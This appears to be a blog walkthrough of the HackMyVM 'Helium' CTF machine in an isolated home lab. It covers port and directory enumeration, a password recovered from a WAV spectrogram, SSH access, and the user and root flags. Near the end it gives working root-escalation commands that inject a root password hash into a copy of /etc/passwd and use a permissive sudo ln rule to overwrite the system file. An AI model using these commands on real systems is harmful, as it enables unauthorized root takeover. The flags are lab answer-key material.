HackMyVM | Helium

In this walkthrough, I demonstrate how I obtained complete ownership of Helium from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Easy Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

Nmap Results

# Nmap 7.95 scan initiated Tue Dec  2 20:18:46 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.20
Nmap scan report for 10.9.9.20
Host is up (0.00039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:f6:55:5f:c6:fa:fb:14:15:ae:4a:2b:38:d8:4a:30 (RSA)
|   256 b7:ac:87:6d:c4:f9:e3:9a:d4:6e:e0:4f:da:aa:22:20 (ECDSA)
|_  256 fe:e8:05:af:23:4d:3a:82:2a:64:9b:f7:35:e4:44:4a (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: RELAX
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec  2 20:18:59 2025 -- 1 IP address (1 host up) scanned in 12.49 seconds
echo -e '10.9.9.20\t\thelium.hmv' | sudo tee -a /etc/hosts

Add an entry to hosts file for convenience





Service Enumeration

TCP/80

Penetration Testing

Initial Enumeration

ℹ️
Since this is a direct CTF challenge and less of a simulated web application, I'll just skip straight to the penetration testing phase (as opposed to the preliminary walking of the application).
Comment in the page source, something tells me we can upload more than just ".wav" files



Directory and File Enumeration

gobuster dir -u http://helium.hmv/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x wav -t 100 -o dir.txt

I tried "big.txt" first, found nothing, then tried this word list

No directory listing...
wget -r http://helium.hmv

Download all files recursively where found in sources and links

grep -iEr 'paul|wav|yay|upload|helium' helium.hmv



Inspect the WAV File

curl -O http://helium.hmv/yay/mysecretsound.wav

Download the file

sudo apt install -y alsaplayer
alsaplayer ./mysecretsound.wav

The WAV audio is pure gibberish, so probably a steganography challenge

binwalk -e mysecretsound.wav

Run binwalk on the WAV file, but find nothing



Checking for Hidden Messages

git clone https://github.com/LiquidFun/stegowav
cd stegowav
⚠️
We're going to have to use pyenv as a workaround to downgrade Python versions and allow this project to work.
pyenv install 3.8.18

Install Python 3.11.7 binaries

git clone https://github.com/pyenv/pyenv-virtualenv.git ~/.pyenv/plugins/pyenv-virtualenv

Install the plugin to create virtual environments for

exec "$SHELL"

Reload pyenv by reloading your shell .rc file

pyenv virtualenv 3.8.18 stegowav_venv

Create a virtual environment inside the current directory

pyenv activate stegowav_venv

Activate the virtual environment for this project

python3 -m pip install -r requirements.txt
python3 stegowav.py -d ../mysecretsound.wav
🚨
Decoding the file with stegowav fails...
pyenv deactivate

Deactivate the venv

pyenv virtualenv-delete -f stegowav_venv

Delete the venv

pyenv uninstall 3.8.18

Optional uninstall



WAV File Analysis

💡
I've seen in previous challenges where there are hidden messages when you look at the spectrogram of the WAV file audio. Essentially, the audio is encoded in such a way that characters are formed by different peaks and valleys in audio. We can use sox to generate a spectrogram of the file.
sudo apt install -y sox
sox mysecretsound.wav -n spectrogram -o mysecretsound.wav.png
open ./mysecretsound.wav.png
"dancingpassyo", most likely Paul's password





Exploit

SSH as Paul

Due to Paul's bad habit of using steganography and uploading "weird" WAV files to the web server, we were able to do some enumeration and analysis to gain initial access to the server.

ssh paul@helium.hmv





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Linux helium 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux

Current User

uid=1000(paul) gid=1000(paul) groups=1000(paul),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
    
Matching Defaults entries for paul on helium:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on helium:
    (ALL : ALL) NOPASSWD: /usr/bin/ln  



Network Configurations

Network Interfaces

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:bc:fc:d4 brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.20/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 5952sec preferred_lft 5952sec
    inet6 fe80::be24:11ff:febc:fcd4/64 scope link 
       valid_lft forever preferred_lft forever   



Privilege Escalation

Becoming Root

Overly Permissive Sudo

The sudo command configured for paul is far too permissive, as it allows us to symbolically link any file to any location. With respect to linked files, that are newly created, they will retain the ownership of the calling user.

For example:

  • If you tried sudo ln -s /home/paul/pwn /etc/sudoers.d/paul to create a sudoers file for paul and give expanded sudo permissions...
    • This would fail, because the file would be owned by paul
  • If you tried sudo ln -s /home/paul/.ssh /root/.ssh
    • If /root/.ssh doesn't exist
      • It would link Paul's .ssh directory
      • And, retain paul as owner, which does not work with SSH security

But... we have some options

ln | GTFOBins

This example shows you can "overwrite" the "/usr/bin/ln" file with "/bin/bash" (or similar)

Generate Hashes Passwd... | 0xBEN | Notes
SALT=$(openssl rand -base64 6) # Salted MD5 openssl passwd -1 -salt $SALT your_password # Salted…

You could also overwrite "/etc/passwd" with a modified file to login as root

cp /etc/passwd ~/passwd
sed -i "s/root:x:/root:$(openssl passwd -1 -salt $(openssl rand -base64 6) password123):/g" ~/passwd
Our salted password hash has been added to the file
sudo /usr/bin/ln --backup=simple -S '.bak' -fs "$HOME/passwd" '/etc/passwd'

Use "-f" to forcefully overwrite and make a backup of the original



Flags

User

ilovetoberelaxed

Root

ilovetoberoot
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.